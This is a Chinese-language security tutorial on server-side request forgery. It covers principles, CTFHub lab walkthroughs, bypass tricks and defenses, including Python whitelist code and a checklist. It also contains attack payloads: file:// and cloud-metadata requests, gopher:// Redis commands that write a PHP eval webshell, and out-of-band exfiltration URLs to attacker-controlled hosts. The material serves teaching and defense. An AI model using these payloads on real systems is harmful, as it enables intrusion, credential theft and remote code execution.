SSRF漏洞原理、利用与防御全解析:从CTF靶场到实战渗透 1. 从靶场到实战为什么SSRF是每个Web安全从业者的必修课如果你在CTFHub的技能树里刷题或者在实际的渗透测试项目中SSRFServer-Side Request Forgery服务端请求伪造这个漏洞类型绝对是一个绕不开的“老朋友”。它不像SQL注入那样直接也不像XSS那样直观但它的威力尤其是在现代微服务架构和云原生环境下常常能起到“四两拨千斤”的效果从一个看似无害的功能点直接打到内网核心。我见过太多案例一个简单的图片URL加载功能最终成了攻击者通往内网数据库、Redis服务甚至云平台元数据API的后门。所以今天我们不聊空泛的理论就结合CTFHub的靶场环境和我在实际工作中的踩坑经验把SSRF从原理到利用再到防御掰开了、揉碎了讲清楚。无论你是刚入门网络安全的新手还是想巩固知识的老兵这篇超详细的总结都能让你对SSRF有一个透彻的理解并且知道在CTF和实战中该怎么用、怎么防。2. SSRF漏洞核心原理与危害深度拆解2.1 到底什么是SSRF一个“跑腿小弟”的比喻你可以把存在SSRF漏洞的服务器想象成一个过于老实、对指令来者不拒的“跑腿小弟”。这个“小弟”即后端服务器应用有一个特殊能力它能根据用户提供的地址URL去互联网或内部网络的任何地方取东西发起HTTP、FTP、Gopher等网络请求。正常情况下这个功能是好的。比如你用户告诉“小弟”“去https://api.weather.com帮我取一下今天的天气数据。” “小弟”照做取回数据展示给你。问题出在“小弟”太老实了它不会、或者没有严格审查你给的地址。如果你心怀不轨告诉它“别去外面了去咱们公司内网那个没设密码的http://192.168.1.100:6379看看Redis里有什么。” 这个“小弟”也会毫不犹豫地执行。这就是SSRF的本质攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起网络请求。这个“任意地址”是关键它可能包括服务器本机localhost/127.0.0.1访问只有本机才能访问的服务如数据库管理界面phpMyAdmin, 127.0.0.1:8080、缓存服务Redis, 127.0.0.1:6379。内部网络内网IP段扫描或攻击与外网隔离的内网应用这些应用通常安全假设较弱认为来自内网的请求是可信的。云服务元数据接口在AWS、阿里云、腾讯云等云服务器上有一个特殊的内部端点如http://169.254.169.254/用于查询实例的元数据可能包含AccessKey、SecretToken等高危信息。其他外部服务甚至可以利用服务器作为跳板去攻击第三个网站并可能将攻击流量溯源到受害服务器起到一定的隐蔽作用。2.2 SSRF的常见触发场景与代码层面的“病根”理解了比喻我们来看看代码里是怎么写出这个漏洞的。几乎所有支持从用户输入构建URL并发起请求的语言和库都可能中招。一个经典的PHP漏洞示例?php function getUrlContent($url) { $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 关键问题没有对$url的协议和目的地做任何限制 $output curl_exec($ch); curl_close($ch); return $output; } $user_provided_url $_GET[url]; // 攻击者完全可控的输入 echo getUrlContent($user_provided_url); ?这段代码的“病根”一目了然$user_provided_url直接来自用户输入的$_GET[‘url’]未经任何过滤就被塞进了curl_setopt。攻击者传入file:///etc/passwd它就会读取系统文件传入http://192.168.1.1:8080/admin它就会探测内网管理后台。其他常见触发点社交媒体/网站的头像、封面图设置上传功能允许输入远程图片URL服务器会去拉取并存储。PDF/文档生成服务服务端需要拉取网络资源嵌入文档。网页翻译/预览功能服务端需要获取目标网页的内容进行分析。从URL导入数据各种“导入来自链接”的功能。Webhook测试或回调允许用户自定义Webhook的测试URL。实操心得在代码审计时要像“侦探”一样搜索关键词。除了curl_、file_get_contents还要关注fsockopen、HttpClientJava、requestsPython、System.Net.Http.HttpClient.NET等网络请求函数或库的调用并追溯其参数是否用户可控。2.3 SSRF可能造成的“连锁破坏”与真实危害SSRF的危害绝不仅仅是“让服务器发个请求”那么简单它是一个非常理想的内网渗透突破口。信息泄露最直接读取服务器本地文件利用file://协议读取/etc/passwd、/proc/self/environ环境变量可能含密钥、Web源码、配置文件等。访问云元数据获取云服务器的临时安全凭证进而控制整个云资源。扫描内网端口与服务通过判断请求的响应时间或错误信息探测内网哪些IP和端口开放了服务如Redis, MySQL, MongoDB等绘制内网地图。攻击内网应用危害升级内网应用通常缺乏外网防护。通过SSRF可以直接攻击这些脆弱服务。攻击Redis如果内网Redis未授权访问可通过SSRF向其发送命令写入Webshell或反弹Shell。攻击FastCGI/PHP-FPM利用gopher://协议构造特定数据包直接执行任意代码。攻击MySQL通过gopher://协议发送恶意查询包需要知道凭据。绕过访问控制有些应用会对Referer或源IP做校验只允许“白名单”IP访问管理接口。但SSRF请求是从受信任的服务器本身发出的从而绕过了这些限制。盲SSRF与外部服务交互Out-of-Band有时请求的响应不会直接返回给攻击者盲SSRF。此时可以让服务器向攻击者控制的DNS服务器或HTTP服务器发起请求如http://your-domain.com/ssrf?dataxxx通过查看DNS查询日志或HTTP访问日志来确认漏洞存在并携带出部分数据。一个真实案例的推演攻击者发现一个在线转换工具存在SSRF可以传入图片URL。他构造了指向http://169.254.169.254/latest/meta-data/iam/security-credentials/的URL。服务器AWS EC2乖乖地去访问了这个元数据接口并将返回的IAM角色临时密钥在转换后的页面中可能是错误信息显示出来。攻击者拿到密钥便可通过AWS CLI在云端为所欲为。3. 利用技巧进阶从基础探测到协议利用实战知道了原理我们进入实战环节。CTFHub的SSRF题目几乎涵盖了所有常见利用场景是绝佳的练手场。下面我们分步骤、分协议来拆解。3.1 第一步漏洞探测与基础利用面对一个疑似点不要上来就file:///etc/passwd。有序的探测能帮你更快定位漏洞并了解环境。确认漏洞存在回显型尝试让服务器请求一个你控制的公网HTTP服务如http://your-burp-collaborator-domain.com。如果收到来自服务器IP的请求证明存在SSRF且可出网。更简单的方法使用一个会返回请求信息的公开服务http://httpbin.org/get。如果返回的内容中包含了服务器的User-Agent、IP等信息说明漏洞存在且回显。判断协议支持与过滤规则依次测试不同协议http://、https://、file://、ftp://、gopher://、dict://。注意观察过滤很多防护会黑名单过滤127.0.0.1、localhost、内网IP段。你需要尝试绕过IP地址变形127.0.0.1-2130706433十进制、0x7f000001十六进制、127.1、127.0.1。域名指向localhost-localtest.me这个域名解析到127.0.0.1、127.0.0.1.nip.io。URL编码/双重编码127.0.0.1-%31%32%37%2e%30%2e%30%2e%31。利用解析差异在URL中加端口、加符号、利用重定向等。基础文件读取与端口扫描文件读取确认支持file://后尝试读取/etc/passwd、/proc/self/cmdline查看进程启动命令、C:\Windows\System32\drivers\etc\hostsWindows。端口扫描利用Burp Suite的Intruder或自己写脚本批量请求http://127.0.0.1:PORT。通过响应时间、状态码、错误信息长度差异来判断端口开放情况。注意这种扫描速度要慢避免对靶机造成压力。3.2 第二步深入利用——伪协议与特殊攻击向量这是SSRF利用的精华部分也是CTF题目的常见考点。1. 利用file://协议读取源码与敏感文件file://协议是读取服务器本地文件的利器。但它的利用有一些技巧路径穿越不一定能直接读Web目录可以尝试file:///var/www/html/index.php或利用../进行目录穿越如file:///etc/../../var/www/html/config.php。读取PHP源码如果直接请求.php文件会被服务器执行。要想看到源码可以尝试利用php://filter协议如果支持进行编码读取例如php://filter/readconvert.base64-encode/resourceindex.php。但注意php://是PHP的包装器不是所有SSRF场景都支持它依赖于后端用file_get_contents()等函数。2. 利用dict://和gopher://协议攻击内网服务这两个协议功能强大可以构造任意格式的TCP数据包用于攻击Redis、MySQL、FastCGI等。dict://协议通常用于快速查询字典或端口探测。例如dict://127.0.0.1:6379/info可以向Redis发送INFO命令。但它支持的命令和交互能力有限。gopher://协议SSRF的“瑞士军刀”。它支持构造完整的TCP交互流量。攻击Redis是经典案例你需要知道Redis未授权访问且在内网可达如192.168.1.10:6379。构造一个能向Redis写入SSH公钥或Webshell的命令序列。将这个命令序列转换成gopher协议格式的URL。通常使用工具如Gopherus来生成。 例如一个简化版的攻击URL可能长这样gopher://192.168.1.10:6379/_*3%0d%0a...后面是一串编码后的Redis协议命令。注意事项gopher协议在现代PHP的cURL中默认可能不支持需要编译时开启。但在CTF和某些老旧系统中仍可能遇到。Java、Python的某些网络库也可能支持它。3. 攻击云元数据服务这是云上SSRF的重头戏。你需要记忆常见云厂商的元数据地址AWS EC2:http://169.254.169.254/latest/meta-data/阿里云 ECS:http://100.100.100.200/latest/meta-data/腾讯云 CVM:http://metadata.tencentyun.com/latest/meta-data/Google Cloud:http://metadata.google.internal/computeMetadata/v1/需要头Metadata-Flavor: Google利用SSRF直接访问这些地址就可能拿到实例的访问密钥、角色信息等。3.3 第三步盲SSRF的利用与外带数据当服务器的响应不直接显示请求结果时就是盲SSRF。我们的目标是证明漏洞存在并尽可能外带数据。DNS外带最常用让服务器向一个你控制的域名发起请求例如http://ssrf.你的域名.com。你只需要在你的DNS服务器或使用免费服务如dnslog.cn, burp collaborator上查看是否有来自目标服务器IP的DNS查询记录。有则漏洞存在。外带数据可以将敏感信息放在子域名中如http://base64(文件内容).your-domain.com。服务器在解析这个域名时DNS查询日志里就会留下编码后的数据。HTTP外带让服务器向你的HTTP服务器发起请求并在URL路径或参数中携带数据。例如http://your-server.com/leak?data敏感信息。你在你的Web服务器访问日志中就能看到包含数据的请求记录。实操心得在测试盲SSRF时Burp Suite Professional的Collaborator功能是神器。它会给你一个临时域名如xxxxxx.oastify.com所有指向该域名的DNS和HTTP请求都会被记录并实时显示在Burp中无需自己搭建服务器极大提高了测试效率。4. 防御策略从代码到架构的多层防线知道了怎么攻击才能更好地防御。SSRF的防御不是单一措施而是一个从代码编写到网络架构的立体工程。4.1 代码层面的“白名单”与规范化这是最根本、最有效的一层。严格实施URL白名单机制绝对不要使用黑名单黑名单永远有被绕过的方法新的IP格式、新的域名、新的协议。如果业务必须从用户输入获取URL那么应该只允许访问有限的、预设的、已知安全的域名或IP。例如一个头像拉取功能只允许gravatar.com或几个指定的图床域名。实现上可以维护一个内部域名/IP白名单在发起请求前进行匹配。统一网络请求出口与校验在应用架构中不要在每个业务函数里随意使用curl或requests。应该建立一个统一的、安全的HTTP客户端服务。这个服务对所有出站请求进行集中校验解析目标URL的协议、主机名、IP地址对照白名单禁止对内部地址如127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16和云元数据地址的请求。代码示例Python思路import socket from urllib.parse import urlparse import requests ALLOWED_DOMAINS [api.weatherapp.com, cdn.example.com] BLOCKED_NETS [127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16] # 包含云元数据 def safe_request(url): parsed urlparse(url) hostname parsed.hostname # 1. 检查域名白名单 if hostname not in ALLOWED_DOMAINS: raise ValueError(fDomain {hostname} not allowed) # 2. 解析IP检查是否属于内网段 try: ip socket.gethostbyname(hostname) except socket.gaierror: raise ValueError(fCannot resolve hostname {hostname}) for net in BLOCKED_NETS: if ip_in_network(ip, net): # 需要实现ip_in_network函数 raise ValueError(fAccess to internal IP {ip} is blocked) # 3. 使用安全的客户端发起请求可禁用重定向 session requests.Session() session.max_redirects 0 # 禁止重定向防止通过重定向跳转到内网 return session.get(url, timeout5)禁用危险的URL协议在应用或底层库的配置中显式禁用不需要的协议。例如如果业务只需要HTTP/HTTPS就禁用file://、ftp://、gopher://、dict://等。在PHP中可以通过curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);来限制cURL只使用HTTP和HTTPS。4.2 网络与系统层面的隔离与限制代码不是万能的需要有底层的网络隔离作为纵深防御。强化服务器网络策略使用防火墙在服务器本地或网络边界防火墙设置严格的出站规则。Web服务器原则上不应主动向内部其他业务服务器如数据库、缓存发起请求。如果必须应限定特定的IP和端口。利用网络命名空间或容器将存在SSRF风险的应用部署在独立的网络命名空间或Docker容器中限制其网络视图使其无法访问关键的内网段。云平台安全最佳实践最小权限原则分配给云服务器实例的IAM角色或安全凭证应遵循最小权限原则。即使元数据凭证被SSRF窃取攻击者能做的事情也非常有限。使用VPC和私有子网将数据库、缓存等后端服务放在私有子网仅对特定的应用子网开放而非对所有互联网或整个内网开放。使用跳板机或堡垒机对核心内网服务的访问必须通过统一的、审计严格的跳板机杜绝从Web服务器直连。应用运行环境加固以非特权用户如www-data,nobody运行Web服务降低其读取敏感系统文件的能力。对Web目录进行严格的文件权限控制。4.3 请求处理过程中的校验与过滤即使经过白名单在最终发起请求前再做一层校验。正确解析与规范化URL使用标准库如Python的urllib.parse Java的java.net.URI来解析URL而不是简单的字符串匹配。这可以防止利用、#等符号进行的绕过。例如http://expected.comevil.com很多简单的字符串匹配会认为主机名是expected.com但标准解析器会识别出用户名是expected.com主机名是evil.com。处理URL重定向攻击者可能提供一个白名单域名如https://safe.com但这个域名返回一个302重定向跳转到内网地址。因此必须禁止HTTP客户端自动跟随重定向或者对重定向的目标地址再次进行严格的白名单校验。设置超时与响应限制为所有外部请求设置合理的超时时间如3-5秒防止攻击者利用SSRF进行慢速端口扫描或DoS攻击。限制响应体的大小防止服务器内存被大响应耗尽。5. CTFHub SSRF题目实战精讲与避坑指南理论结合实战我们以CTFHub技能树的SSRF典型题目为例讲解解题思路和常见“坑点”。5.1 题目类型一基础文件读取与内网探测常见题目描述提供一个输入框让你输入URL服务器会获取该URL的内容并显示。解题步骤信息收集先输入http://httpbin.org/get查看回显。确认漏洞存在并观察返回的信息如IP、User-Agent判断服务器可能的位置和使用的技术栈。尝试读取本地文件输入file:///etc/passwd。如果成功说明file://协议可用且无过滤。端口扫描如果题目提示flag在内网某服务的某个端口上。你需要扫描。例如题目说“flag在本地127.0.0.1的某个端口上”。使用Burp IntruderPayload类型选择Numbers从1到65535太慢通常先扫常见端口21,22,80,443,6379,8080,9000等。判断依据对比响应。连接被拒绝Connection refused通常返回快、内容短或有特定错误码端口开放且有服务可能会返回特定的Banner如HTTP服务的HTTP/1.1 200 OK或响应时间较长。获取flag找到开放端口后直接访问http://127.0.0.1:找到的端口/或者根据服务类型进一步交互如访问Web页面查看源码或尝试Redis的INFO命令。避坑指南这类题目有时会过滤127.0.0.1和localhost。尝试使用127.0.0.1的十进制2130706433或者0.0.0.0、127.1。如果过滤了file关键字尝试大小写混写FilE或双重URL编码。5.2 题目类型二伪协议利用与代码审计常见题目描述题目提供了一个在线“网页抓取”或“转码”功能并且可能给出了部分后端源码PHP。解题思路审计源码这是关键。查看代码中是如何处理用户输入的URL的。有没有过滤过滤了哪些关键词如127、local、flag。支持哪些协议查看curl_setopt或stream_context_create的配置。有没有include或file_get_contents之类的函数可能支持php://filter利用php://filter读取源码如果后端用了file_get_contents($_GET[‘url’])且没有禁用php://协议可以尝试读取题目本身的源码。Payload:?urlphp://filter/readconvert.base64-encode/resourceindex.php返回的是一串Base64解码后就能看到源码从中寻找数据库密码、flag路径或其他漏洞线索。利用data://协议执行代码如果allow_url_include被开启现代环境极少但CTF中可能出现可以尝试data://text/plain,?php system(‘ls’);?。但这通常不是SSRF的主流考法更多是文件包含。5.3 题目类型三攻击内网Redis写入Webshell经典题目如[De1CTF 2019]SSRF Me题目环境通常是一个有SSRF的Web应用内网同时运行着一个未授权访问的RedisWeb目录可写。解题步骤确认Redis存在与位置通过SSRF扫描内网如192.168.0.0/24的6379端口找到Redis。构造攻击Payload目标是让Redis向Web目录写入一个PHP Webshell。手动构造理解原理生成一个写入文件的Redis命令序列。例如flushall清空慎用可能破坏题目环境set shell “?php eval($_POST[‘cmd’]);?”config set dir /var/www/htmlconfig set dbfilename shell.phpsave。将这些命令转换成符合Redis协议的格式每行以\r\n结尾并进行URL编码。使用gopher://协议发送gopher://192.168.x.x:6379/_ 编码后的命令。使用工具提高效率工具Gopherus可以直接生成攻击Redis的Payload。输入Webshell内容和Web路径它会生成完整的gopherURL。执行与验证将生成的URL提交给存在SSRF的点。如果成功访问http://目标服务器/shell.php用POST传递cmdwhoami即可执行命令拿到flag。注意事项Redis的写文件路径dir需要知道Web绝对路径。可以通过报错信息、读取/proc/self/environ包含PWD或常见的默认路径如/var/www/html来猜测。写入的Webshell内容要避免特殊字符破坏Redis协议通常需要工具或脚本进行正确的转义和编码。5.4 题目类型四盲SSRF与DNS外带题目描述提交URL后页面没有明显回显只显示“请求已发送”或类似提示。解题步骤确认漏洞存在使用DNS外带。输入http://你的唯一子域名.dnslog.cn。查看DNS记录刷新你的DNSLog平台如果看到来自题目服务器IP的查询记录证明盲SSRF存在。外带数据如果需要如果题目需要外带某个文件的内容比如/etc/passwd的第一行。思路先读取文件内容然后将其作为子域名的一部分让服务器去解析。但这里有个难点SSRF请求的URL通常是你直接提供的如何让它携带动态的文件内容这需要结合其他漏洞比如命令注入用反引号执行命令并将结果拼接到URL或者利用某些服务如curl支持从文件读取URL的特性。纯粹的盲SSRF外带数据难度较高在CTF中常作为综合题的一部分。6. 实战中的疑难杂症与高级绕过技巧在实际渗透和高级CTF中你会遇到各种加固和过滤。下面是一些进阶的对抗思路。6.1 针对域名/IP过滤的绕过利用DNS重绑定攻击原理这是对抗“先解析域名校验IP再请求”这种防御的利器。方法你拥有一个域名evil.com。你将其DNS记录的TTL设为极短并配置两条A记录第一条指向一个合法的、白名单外的IP如1.2.3.4第二条指向目标内网IP如192.168.1.1。攻击过程你向存在SSRF的服务器提交http://evil.com。服务器第一次解析evil.com得到1.2.3.4发现不在黑名单或是白名单校验通过。然后服务器发起真正的请求。关键点来了由于TTL极短服务器或其DNS缓存可能会在发起请求前再次解析evil.com或者服务器使用的DNS解析库行为特殊此时解析结果变成了192.168.1.1。于是请求实际发往了内网。工具可以使用rbndr.us等在线服务进行测试。利用IPv6、特殊IP格式[::]或[::1]等价于IPv6的localhost。0.0.0.0在某些配置下可能指向本机。127.127.127.127127.0.0.0等变体。利用URL解析差异利用http://expected.comevil.com/ 某些校验逻辑取前的内容作为主机但实际请求的是evil.com。利用#http://evil.com#expected.com/#后面是片段标识符部分解析器可能会忽略。利用残缺的URLhttp://127.0.0.1:80\evil.com/(使用反斜杠)http://127.0.0.1:80?evil.com/。6.2 针对协议和端口过滤的绕过利用非标准端口如果只过滤了http://和https://但没限制端口可以尝试http://evil.com:22去访问SSH服务或者http://evil.com:6379去尝试Redis虽然协议不对但有些TCP服务可能返回信息。利用协议封装如果完全禁用gopher但允许http可以尝试寻找支持HTTP代理转发的内网服务通过http协议向代理发送请求让代理去访问gopher目标较为复杂依赖特定环境。6.3 盲SSRF中提升利用率的技巧结合其他漏洞扩大影响盲SSRF本身信息有限但如果能结合其他漏洞如CRLF注入、Header注入可能将盲SSRF转化为可回显的SSRF或者注入HTTP头去攻击其他依赖头部的服务。利用服务器本身的请求特性观察服务器在请求出错时的行为差异。例如请求一个不存在的端口可能连接超时时间长请求一个存在但拒绝连接的服务可能立即返回“连接被拒绝”时间短。通过时间差可以进行更准确的端口扫描。7. 防御方案落地一个完整的代码示例与检查清单最后我们用一个相对完整的Python Flask示例展示如何实现一个具备基本SSRF防护的URL请求功能并附上检查清单。from flask import Flask, request, jsonify import socket import ipaddress from urllib.parse import urlparse import requests from requests.exceptions import RequestException app Flask(__name__) # 配置 ALLOWED_DOMAINS [api.safe-external-service.com, cdn.mycompany.com] BLOCKED_IP_NETS [ ipaddress.ip_network(127.0.0.0/8), ipaddress.ip_network(10.0.0.0/8), ipaddress.ip_network(172.16.0.0/12), ipaddress.ip_network(192.168.0.0/16), ipaddress.ip_network(169.254.0.0/16), # 链路本地 云元数据 ipaddress.ip_network(0.0.0.0/8), ] ALLOWED_PROTOCOLS (http, https) def is_ip_blocked(ip_str): 检查IP是否属于被阻止的内网段 try: ip ipaddress.ip_address(ip_str) for net in BLOCKED_IP_NETS: if ip in net: return True except ValueError: # 如果ip_str不是有效的IP地址可能是域名交给后续的域名检查 pass return False def safe_fetch_url(user_url): 安全的URL获取函数 # 1. 解析URL try: parsed urlparse(user_url) except Exception: raise ValueError(Invalid URL format) # 2. 检查协议 if parsed.scheme not in ALLOWED_PROTOCOLS: raise ValueError(fProtocol {parsed.scheme} is not allowed) # 3. 获取主机名并解析IP hostname parsed.hostname if not hostname: raise ValueError(No hostname in URL) # 3.1 先检查域名白名单如果配置了严格白名单 # if hostname not in ALLOWED_DOMAINS: # raise ValueError(fDomain {hostname} is not in the allowed list) # 3.2 解析IP检查是否内网IP try: # 注意这里会进行DNS解析可能被DNS重绑定攻击 # 更安全的做法是使用自定义解析器并缓存或使用DNS重绑定防护服务 ip_list socket.getaddrinfo(hostname, None, familysocket.AF_INET) for _, _, _, _, (ip, *_) in ip_list: if is_ip_blocked(ip): raise ValueError(fAccess to internal IP {ip} is blocked) except socket.gaierror: raise ValueError(fCannot resolve hostname {hostname}) # 4. 发起请求禁用重定向设置超时 try: response requests.get( user_url, allow_redirectsFalse, # 禁止自动重定向 timeout5.0, # 设置超时 headers{User-Agent: Safe-Fetcher/1.0} # 使用固定UA ) # 5. 如果需要在此处检查重定向地址response.headers.get(Location) # 并对重定向地址重复上述1-3步的校验 return response.text[:10240] # 限制返回内容大小 except RequestException as e: raise ValueError(fFailed to fetch URL: {str(e)}) app.route(/fetch, methods[GET]) def fetch(): url request.args.get(url) if not url: return jsonify({error: Missing URL parameter}), 400 try: content safe_fetch_url(url) return jsonify({content: content}) except ValueError as e: # 记录日志但不向用户暴露内部错误细节 app.logger.warning(fSSRF attempt blocked for URL {url}: {e}) return jsonify({error: Failed to process the request}), 400 if __name__ __main__: app.run(debugFalse)SSRF防御代码检查清单[ ]输入校验是否对用户输入的URL进行了完整的解析urlparse[ ]协议白名单是否只允许业务必需的协议如仅http/https[ ]目的地校验[ ]方案A推荐是否实现了严格的域名白名单[ ]方案B如果不能用白名单是否在DNS解析后检查IP地址是否属于内网段或云元数据地址[ ] 是否考虑了DNS重绑定攻击的防护例如使用一次性解析并缓存或使用可信DNS解析器[ ]请求控制[ ] 是否禁用了HTTP客户端自动跟随重定向[ ] 是否对重定向目标进行了与原始URL同样严格的校验[ ] 是否设置了合理的请求超时和响应大小限制[ ]错误处理是否避免了将内部错误信息如解析的IP、具体的过滤规则暴露给用户[ ]网络层加固服务器本身的防火墙是否限制了不必要的出站连接[ ]依赖库安全使用的HTTP客户端库如requests,curl是否更新到最新版本避免已知漏洞记住SSRF的防御是一个持续的过程需要开发、运维和安全团队共同协作在应用设计之初就考虑进去并在后续的代码审计和渗透测试中不断检验和完善。